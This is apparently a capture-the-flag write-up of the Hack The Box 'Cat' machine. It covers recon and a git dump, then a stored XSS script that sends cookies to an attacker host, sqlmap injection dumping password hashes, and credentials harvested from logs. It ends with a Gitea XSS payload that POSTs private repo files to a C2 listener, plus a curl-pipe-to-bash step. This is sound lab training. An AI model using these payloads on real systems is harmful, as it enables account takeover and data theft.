Cat

Recon

nmap_scan.log

HTTP (80)

The website is about some contest about Cats. Register for website from /join.php

Writeup-1.png

For some reason the credentials are passed via GET params and not POST data.

Writeup.png

Fuzzing

I tried tempering with upload form but nothing, run a recon in background.

└─$ feroxbuster -u 'http://cat.htb/' -w /usr/share/seclists/Discovery/Web-Content/common.txt --thorough -n -D -C 404,403,400 -S 0,34 -b 'PHPSESSID=3lmmum6tl0u5iehunj6lchrbgm' -x php
200      GET       10l       46w     2392c http://cat.htb/.git/index
200      GET       41l       83w     1242c http://cat.htb/vote.php
200      GET      140l      327w     4004c http://cat.htb/join.php
200      GET      127l      270w     2900c http://cat.htb/css/styles.css
200      GET      196l      415w     5082c http://cat.htb/winners.php
200      GET        1l        2w       23c http://cat.htb/.git/HEAD
200      GET        5l       13w       92c http://cat.htb/.git/config
301      GET        9l       28w      301c http://cat.htb/.git => http://cat.htb/.git/
302      GET        1l        0w        1c http://cat.htb/admin.php => http://cat.htb/join.php
200      GET      129l      285w     3075c http://cat.htb/
200      GET        1l        0w        1c http://cat.htb/config.php
302      GET        1l        0w        1c http://cat.htb/contest.php => http://cat.htb/join.php
301      GET        9l       28w      300c http://cat.htb/css => http://cat.htb/css/
301      GET        9l       28w      300c http://cat.htb/img => http://cat.htb/img/
200      GET      129l      285w     3075c http://cat.htb/index.php
301      GET        9l       28w      304c http://cat.htb/uploads => http://cat.htb/uploads/
200      GET      127l      715w    53503c http://cat.htb/img/cat3.webp
200      GET      904l     5604w   448419c http://cat.htb/img/cat2.png
200      GET      304l     1647w   132808c http://cat.htb/img/cat1.jpg
200      GET        2l        2w       16c http://cat.htb/delete_cat.php
301      GET        9l       28w      304c http://cat.htb/winners => http://cat.htb/winners/
302      GET        1l        0w        1c http://cat.htb/view_cat.php => http://cat.htb/join.php
200      GET      127l      715w    53503c http://cat.htb/img_winners/cat3.webp
200      GET      304l     1647w   132808c http://cat.htb/img_winners/cat1.jpg
200      GET      904l     5604w   448419c http://cat.htb/img_winners/cat2.png
[####################] - 26s     5069/5069    0s      found:25      errors:7
[####################] - 24s     4890/4890    208/s   http://cat.htb/

Git Dump

Git exists so dump it

└─$ git-dumper http://cat.htb/ cat_source

There's SQL injection in accept_cat.php, if we are user axel

Writeup-2.png

There seems to be second injection if we can manipulate username in such a way to create injection, but it's only accessible to axel again.

Writeup-3.png

contest.php:

<?php
session_start();

include 'config.php';

// Message variables
$success_message = "";
$error_message = "";

// Check if the user is logged in
if (!isset($_SESSION['username'])) {
    header("Location: /join.php");
    exit();
}

// Function to check for forbidden content
function contains_forbidden_content($input, $pattern) {
    return preg_match($pattern, $input);
}

// Check if the form has been submitted
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    // Capture form data
    $cat_name = $_POST['cat_name'];
    $age = $_POST['age'];
    $birthdate = $_POST['birthdate'];
    $weight = $_POST['weight'];

    $forbidden_patterns = "/[+*{}',;<>()\\[\\]\\/\\:]/";

    // Check for forbidden content
    if (contains_forbidden_content($cat_name, $forbidden_patterns) ||
        contains_forbidden_content($age, $forbidden_patterns) ||
        contains_forbidden_content($birthdate, $forbidden_patterns) ||
        contains_forbidden_content($weight, $forbidden_patterns)) {
        $error_message = "Your entry contains invalid characters.";
    } else {
        // Generate unique identifier for the image
        $imageIdentifier = uniqid() . "_";

        // Upload cat photo
        $target_dir = "uploads/";
        $target_file = $target_dir . $imageIdentifier . basename($_FILES["cat_photo"]["name"]);
        $uploadOk = 1;
        $imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));

        // Check if the file is an actual image or a fake file
        $check = getimagesize($_FILES["cat_photo"]["tmp_name"]);
        if($check !== false) {
            $uploadOk = 1;
        } else {
            $error_message = "Error: The file is not an image.";
            $uploadOk = 0;
        }

        // Check if the file already exists
        if (file_exists($target_file)) {
            $error_message = "Error: The file already exists.";
            $uploadOk = 0;
        }

        // Check file size
        if ($_FILES["cat_photo"]["size"] > 500000) {
            $error_message = "Error: The file is too large.";
            $uploadOk = 0;
        }

        // Allow only certain file formats
        if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg") {
            $error_message = "Error: Only JPG, JPEG, and PNG files are allowed.";
            $uploadOk = 0;
        }

        // Check if $uploadOk is set to 0 by an error
        if ($uploadOk == 0) {
        } else {
            if (move_uploaded_file($_FILES["cat_photo"]["tmp_name"], $target_file)) {
                // Prepare SQL query to insert cat data
                $stmt = $pdo->prepare("INSERT INTO cats (cat_name, age, birthdate, weight, photo_path, owner_username) VALUES (:cat_name, :age, :birthdate, :weight, :photo_path, :owner_username)");
                // Bind parameters
                $stmt->bindParam(':cat_name', $cat_name, PDO::PARAM_STR);
                $stmt->bindParam(':age', $age, PDO::PARAM_INT);
                $stmt->bindParam(':birthdate', $birthdate, PDO::PARAM_STR);
                $stmt->bindParam(':weight', $weight, PDO::PARAM_STR);
                $stmt->bindParam(':photo_path', $target_file, PDO::PARAM_STR);
                $stmt->bindParam(':owner_username', $_SESSION['username'], PDO::PARAM_STR);
                // Execute query
                if ($stmt->execute()) {
                    $success_message = "Cat has been successfully sent for inspection.";
                } else {
                    $error_message = "Error: There was a problem registering the cat.";
                }
            } else {
                $error_message = "Error: There was a problem uploading the file.";
            }
        }
    }
}
?>

File Upload Bypass (fail)

We are able to bypass the upload restrictions and slip in PHP, but no idea where it is.

└─$ cat ~/Pictures/usb.jpg | head -c 640 > agent.php%00.jpg
└─$ echo '<?php echo phpinfo(); ?>' >> agent.php%00.jpg
Writeup-4.png

Following location is too random because of uniqid

$imageIdentifier = uniqid() . "_";
$target_dir = "uploads/";
$target_file = $target_dir . $imageIdentifier . basename($_FILES["cat_photo"]["name"]);

From the future: The bypass fooled the php functions, but it's still uploaded as JPG. Also to access the file you need to URL Encode the percentage.

Writeup-9.png

With actual null byte it didn't work.

Writeup-10.png

XSS

Exfiltrate cookies via username:

from time import sleep
from requests import Session
from random import randbytes

URL = 'http://cat.htb'

with Session() as session:
    session.proxies = {'http': 'http://127.0.0.1:8080'}

    username = "<img src=x onerror=this.src='http://10.10.14.9:81/?c='+document.cookie; />"
    password = 'letmein@cat.htb'
    print(f'{username=}\n{password=}')

    resp = session.get(f'{URL}/join.php', params={
        'username': username,
        'email': username,
        'password': password,
        'registerForm': 'Register',
    })

    resp = session.get(f'{URL}/join.php', params={
        'loginUsername': username,
        'loginPassword': password,
        'loginForm': 'Login',
    })

    print(session.cookies.get_dict())

    for i in range(30):
        print(f'Submitted request: {i}')
        sleep(0.5)
        with open("cat1.jpg", "rb") as image_file:
            data = { "cat_name": f"{randbytes(8).hex()}", "age": f"{i}", "birthdate": "2025-01-31", "weight": f"{i}"}
            files = { "cat_photo": ("agent.jpg", image_file, "image/jpeg") }
            resp = session.post(f'{URL}/contest.php', data=data, files=files)

There was no callback from box so after many tries and box restart I got callback... classic HTB

└─$ serve 81
Serving HTTP on 0.0.0.0 port 81 (http://0.0.0.0:81/) ...
10.129.28.153 - - [01/Feb/2025 15:54:09] "GET /?c=PHPSESSID=cdb5lkeal25ioicr9rks95dken HTTP/1.1" 200 -
10.129.28.153 - - [01/Feb/2025 15:54:19] "GET /?c= HTTP/1.1" 200 -
10.129.28.153 - - [01/Feb/2025 15:54:26] "GET /?c=PHPSESSID=ftfo2mki9v3n909civkv11427q HTTP/1.1" 200 -
10.129.28.153 - - [01/Feb/2025 15:54:42] "GET /?c=PHPSESSID=5bqq2pcrb1mthjkqmhe6omasra HTTP/1.1" 200 -
10.129.28.153 - - [01/Feb/2025 15:54:58] "GET /?c=PHPSESSID=gmf4fplommrf81ibatbq25g02k HTTP/1.1" 200 -
10.129.28.153 - - [01/Feb/2025 15:55:07] "GET /?c= HTTP/1.1" 304 -
10.129.28.153 - - [01/Feb/2025 15:55:14] "GET /?c=PHPSESSID=69286bglm3d9o5542sg521svfu HTTP/1.1" 200 -

I think any session id works, using last 1 we are able to login as admin

Writeup-5.png

SQLi

Going back to the first discovered vulnerability

└─$ sqlmap -u 'http://cat.htb/accept_cat.php' --data='catId=1&catName=letmein' -p 'catName' --cookie='PHPSESSID=6htr72q6rlh4pfkrof742d206u' --batch --dbms=sqlite --risk 3 --level 5 --proxy=http://127.0.0.1:8080
sqlmap identified the following injection point(s) with a total of 84 HTTP(s) requests:
---
Parameter: catName (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: catId=1&catName=letmein'||(SELECT CHAR(87,69,117,99) WHERE 2274=2274 AND 3581=3581)||'

    Type: time-based blind
    Title: SQLite > 2.0 AND time-based blind (heavy query)
    Payload: catId=1&catName=letmein'||(SELECT CHAR(73,98,75,113) WHERE 9219=9219 AND 1116=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))))||'
---
[16:25:01] [INFO] the back-end DBMS is SQLite

Note: Make sure to use correct PHPSESSID and remove proxy if you don't want to debug

Dump database

└─$ sqlmap -u 'http://cat.htb/accept_cat.php' --data='catId=1&catName=letmein' -p 'catName' --cookie='PHPSESSID=6htr72q6rlh4pfkrof742d206u' --batch --dbms=sqlite --threads=10 --tables
[4 tables]
+-----------------+
| accepted_cats   |
| cats            |
| sqlite_sequence |
| users           |
+-----------------+
└─$ sqlmap -u 'http://cat.htb/accept_cat.php' --data='catId=1&catName=letmein' -p 'catName' --cookie='PHPSESSID=6htr72q6rlh4pfkrof742d206u' --batch --dbms=sqlite --threads=10 -T users --dump
Database: <current>
Table: users
[11 entries]
+---------+----------------------------------------------------------------------------+----------------------------------+----------------------------------------------------------------------------+
| user_id | email                                                                      | password                         | username                                                                   |
+---------+----------------------------------------------------------------------------+----------------------------------+----------------------------------------------------------------------------+
| 1       | axel2017@gmail.com                                                         | d1bbba3670feb9435c9841e46e60ee2f | axel                                                                       |
| 2       | rosamendoza485@gmail.com                                                   | ac369922d560f17d6eeb8b2c7dec498c | rosa                                                                       |
| 3       | robertcervantes2000@gmail.com                                              | 42846631708f69c00ec0c0a8aa4a92ad | robert                                                                     |
| 4       | fabiancarachure2323@gmail.com                                              | 39e153e825c4a3d314a0dc7f7475ddbe | fabian                                                                     |
| 5       | jerrysonC343@gmail.com                                                     | 781593e060f8d065cd7281c5ec5b4b86 | jerryson                                                                   |
| 6       | larryP5656@gmail.com                                                       | 1b6dce240bbfbc0905a664ad199e18f8 | larry                                                                      |
| 7       | royer.royer2323@gmail.com                                                  | c598f6b844a36fa7836fba0835f1f6   | royer                                                                      |
| 8       | peterCC456@gmail.com                                                       | e41ccefa439fc454f7eadbf1f139ed8a | peter                                                                      |
| 9       | angel234g@gmail.com                                                        | 24a8ec003ac2e1b3c5953a6f95f8f565 | angel                                                                      |
| 10      | jobert2020@gmail.com                                                       | 88e4dceccd48820cf77b5cf6c08698ad | jobert                                                                     |
| 11      | <img src=x onerror=this.src='http://10.10.14.9:81/?c='+document.cookie; /> | 0e11819c565216b81ca053c11cc0473c | <img src=x onerror=this.src='http://10.10.14.9:81/?c='+document.cookie; /> |
+---------+----------------------------------------------------------------------------+----------------------------------+----------------------------------------------------------------------------+
Writeup-6.png

Creds: rosa:soyunaprincesarosa

SSH (rosa)

└─$ sshpass -p 'soyunaprincesarosa' ssh rosa@cat.htb
rosa@cat:~$ id
uid=1001(rosa) gid=1001(rosa) groups=1001(rosa),4(adm)

There's SMTP server running and 3000 seems to be serving Gitea

rosa@cat:~$ ss -tulnp4
Netid    State     Recv-Q     Send-Q         Local Address:Port          Peer Address:Port    Process
udp      UNCONN    0          0              127.0.0.53%lo:53                 0.0.0.0:*
udp      UNCONN    0          0                    0.0.0.0:68                 0.0.0.0:*
tcp      LISTEN    0          10                 127.0.0.1:587                0.0.0.0:*
tcp      LISTEN    0          1                  127.0.0.1:36043              0.0.0.0:*
tcp      LISTEN    0          128                127.0.0.1:49619              0.0.0.0:*
tcp      LISTEN    0          4096           127.0.0.53%lo:53                 0.0.0.0:*
tcp      LISTEN    0          128                  0.0.0.0:22                 0.0.0.0:*
tcp      LISTEN    0          37                 127.0.0.1:46935              0.0.0.0:*
tcp      LISTEN    0          4096               127.0.0.1:3000               0.0.0.0:*
tcp      LISTEN    0          10                 127.0.0.1:25                 0.0.0.0:*

Privilege Escalation (axel)

As adm group we are allowed to read /var/log files, and since auth happens with GET params check access.log for requests.

rosa@cat:/var/log/apache2$ grep 'loginForm=' access.log | sed -E 's/.*\?([^ ]+)/\1/' | tr '&' '\n' | grep -E '^(loginUsername|loginPassword)=' | sed 's/=/ /' | column -t | sort | uniq
loginPassword  aNdZwgC4tI9gnVXv_e3Q
loginPassword  letmein%40cat.htb
loginUsername  %3Cimg+src%3Dx+onerror%3Dthis.src%3D%27http%3A%2F%2F10.10.14.9%3A81%2F%3Fc%3D%27%2Bdocument.cookie%3B+%2F%3E
loginUsername  axel

Creds: axel:aNdZwgC4tI9gnVXv_e3Q

rosa@cat:/var/log/apache2$ su axel
Password:
axel@cat:/var/log/apache2$ id
uid=1000(axel) gid=1000(axel) groups=1000(axel)

User.txt

axel@cat:~$ cat user.txt
82227674cb3a91851021baae740edfe9

Privilege Escalation (axel)

Port forward Gitea

└─$ sshpass -p 'aNdZwgC4tI9gnVXv_e3Q' ssh axel@cat.htb -L 3000:0:3000

axel user is able to login

Writeup-7.png

axel doesn't have anything, we can't auth as rosa and we don't know credentials for administrator.

Run linpeas in background:

╔══════════╣ Sudo version
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-version
Sudo version 1.8.31

axel@cat:~$ curl 10.10.14.9/lp.sh|bash|tee /tmp/lp.log
╔══════════╣ Executing Linux Exploit Suggester
╚ https://github.com/mzet-/linux-exploit-suggester
[+] [CVE-2022-2586] nft_object UAF

   Details: https://www.openwall.com/lists/oss-security/2022/08/29/5
   Exposure: probable
   Tags: [ ubuntu=(20.04) ]{kernel:5.12.13}
   Download URL: https://www.openwall.com/lists/oss-security/2022/08/29/5/1
   Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)

[+] [CVE-2021-4034] PwnKit

   Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
   Exposure: probable
   Tags: [ ubuntu=10|11|12|13|14|15|16|17|18|19|20|21 ],debian=7|8|9|10|11,fedora,manjaro
   Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main

[+] [CVE-2021-3156] sudo Baron Samedit

   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
   Exposure: probable
   Tags: mint=19,[ ubuntu=18|20 ], debian=10
   Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main

[+] [CVE-2021-3156] sudo Baron Samedit 2

   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
   Exposure: probable
   Tags: centos=6|7|8,[ ubuntu=14|16|17|18|19|20 ], debian=9|10
   Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main

[+] [CVE-2021-22555] Netfilter heap out-of-bounds write

   Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
   Exposure: probable
   Tags: [ ubuntu=20.04 ]{kernel:5.8.0-*}
   Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
   ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c
   Comments: ip_tables kernel module must be loaded

[+] [CVE-2022-32250] nft_object UAF (NFT_MSG_NEWSET)

   Details: https://research.nccgroup.com/2022/09/01/settlers-of-netlink-exploiting-a-limited-uaf-in-nf_tables-cve-2022-32250/
https://blog.theori.io/research/CVE-2022-32250-linux-kernel-lpe-2022/
   Exposure: less probable
   Tags: ubuntu=(22.04){kernel:5.15.0-27-generic}
   Download URL: https://raw.githubusercontent.com/theori-io/CVE-2022-32250-exploit/main/exp.c
   Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)

[+] [CVE-2017-5618] setuid screen v4.5.0 LPE

   Details: https://seclists.org/oss-sec/2017/q1/184
   Exposure: less probable
   Download URL: https://www.exploit-db.com/download/https://www.exploit-db.com/exploits/41154


Vulnerable to CVE-2021-3560 # ORANGE

╔══════════╣ Mails (limit 50)
     3839      4 -rw-rw----   1 axel     mail         1961 Jan 14 16:49 /var/mail/axel
     3872      0 -rw-rw----   1 jobert   mail            0 Jan 14 16:54 /var/mail/jobert
    29987    492 -rw-------   1 root     mail       498820 Feb  1 21:51 /var/mail/root
     3839      4 -rw-rw----   1 axel     mail         1961 Jan 14 16:49 /var/spool/mail/axel
     3872      0 -rw-rw----   1 jobert   mail            0 Jan 14 16:54 /var/spool/mail/jobert
    29987    492 -rw-------   1 root     mail       498820 Feb  1 21:51 /var/spool/mail/root

I don't think it's CVE, but there was SMTP server.

axel@cat:~$ cat /var/mail/axel
From rosa@cat.htb  Sat Sep 28 04:51:50 2024
Return-Path: <rosa@cat.htb>
Received: from cat.htb (localhost [127.0.0.1])
        by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S4pnXk001592
        for <axel@cat.htb>; Sat, 28 Sep 2024 04:51:50 GMT
Received: (from rosa@localhost)
        by cat.htb (8.15.2/8.15.2/Submit) id 48S4pnlT001591
        for axel@localhost; Sat, 28 Sep 2024 04:51:49 GMT
Date: Sat, 28 Sep 2024 04:51:49 GMT
From: rosa@cat.htb
Message-Id: <202409280451.48S4pnlT001591@cat.htb>
Subject: New cat services

Hi Axel,

We are planning to launch new cat-related web services, including a cat care website and other projects. Please send an email to jobert@localhost with information about your Gitea repository. Jobert will check if it is a promising service that we can develop.

Important note: Be sure to include a clear description of the idea so that I can understand it properly. I will review the whole repository.

From rosa@cat.htb  Sat Sep 28 05:05:28 2024
Return-Path: <rosa@cat.htb>
Received: from cat.htb (localhost [127.0.0.1])
        by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S55SRY002268
        for <axel@cat.htb>; Sat, 28 Sep 2024 05:05:28 GMT
Received: (from rosa@localhost)
        by cat.htb (8.15.2/8.15.2/Submit) id 48S55Sm0002267
        for axel@localhost; Sat, 28 Sep 2024 05:05:28 GMT
Date: Sat, 28 Sep 2024 05:05:28 GMT
From: rosa@cat.htb
Message-Id: <202409280505.48S55Sm0002267@cat.htb>
Subject: Employee management

We are currently developing an employee management system. Each sector administrator will be assigned a specific role, while each employee will be able to consult their assigned tasks. The project is still under development and is hosted in our private Gitea. You can visit the repository at: http://localhost:3000/administrator/Employee-management/. In addition, you can consult the README file, highlighting updates and other important details, at: http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md.

Gitea 1.22.0 - Stored XSS

Hmm... Send mail, trigger XSS, get cookies?

We have CSRF with user jobert:

from base64 import b64encode
from os import system
from bs4 import BeautifulSoup
from requests import Session
from random import randint

URL = 'http://127.0.0.1:3000'
USERNAME, PASSWORD = 'axel', 'aNdZwgC4tI9gnVXv_e3Q'
EXFILTRATE_PAGE = 'http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md'
JS = ('''
fetch("%s").then((response) => response.text()).then((text) => {
    const C2 = "http://10.10.14.9:82";
    return fetch(C2, { method: "POST", body: text, });
})
''' % EXFILTRATE_PAGE).encode()

with Session() as session:
    session.proxies = {'http': 'http://127.0.0.1:8080'}

    resp = session.get(f'{URL}/user/login')
    csrf = BeautifulSoup(resp.text, 'html.parser').find('input', {'name':'_csrf'})['value']
    print(resp, csrf)
    
    resp = session.post(f'{URL}/user/login', data={
        'user_name': USERNAME,
        'password': PASSWORD,
        '_csrf': csrf
    })
    print(resp)

    resp = session.get(f'{URL}/repo/create')
    csrf = BeautifulSoup(resp.text, 'html.parser').find('input', {'name':'_csrf'})['value']

    i = randint(1, 10000)
    injection = b64encode(JS).decode()
    resp = session.post(f'{URL}/repo/create', data={
        'uid': i,
        'repo_name': f'Letmein{i}',
        'description': f'<a href=javascript:eval(atob("{injection}"))>Click me daddy</a>',
        'repo_template': None,
        'issue_labels': None,
        'gitignores': 'AL',
        'license': None,
        'readme': 'Default',
        'auto_init': 'on',
        'default_branch': 'main',
        'object_format_name': 'sha1',
        '_csrf': csrf
    })
    repo_url = resp.url.replace('127.0.0.1', 'localhost')
    print(repo_url)

    print(f'echo -e "Subject: Update\\n\\nPlease check: {repo_url}" | sendmail jobert@localhost')

    command = f"sshpass -p '{PASSWORD}' ssh {USERNAME}@cat.htb 'echo -e \"Subject: Update\\n\\nPlease check: {repo_url}\" | sendmail jobert@localhost'"
    for _ in range(3):
        print(command)
        system(command)

Note: For some reason in email 127.0.0.1 didn't work, but localhost did....

EXFILTRATE_PAGE = 'http://localhost:3000/administrator/Employee-management/ returns

Writeup-8.png

To catch all the requests and log them use ncat with -k

└─$ ncat -lvnkp 82 | tee ncat.html

Note: tee may not work correctly.... Terminal better..... (It's quick and dirty!)

EXFILTRATE_PAGE = 'http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php

<?php
$valid_username = 'admin';
$valid_password = 'IKw75eR0MR7CMIxhH0';

if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']) ||
    $_SERVER['PHP_AUTH_USER'] != $valid_username || $_SERVER['PHP_AUTH_PW'] != $valid_password) {

    header('WWW-Authenticate: Basic realm="Employee Management"');
    header('HTTP/1.0 401 Unauthorized');
    exit;
}

header('Location: dashboard.php');
exit;
?>
axel@cat:~$ su - root
Password:
root@cat:~# id
uid=0(root) gid=0(root) groups=0(root)

Root.txt

root@cat:~# cat root.txt
79b8bc8c65795a1a6c1c59dcf30d9b3d

Last updated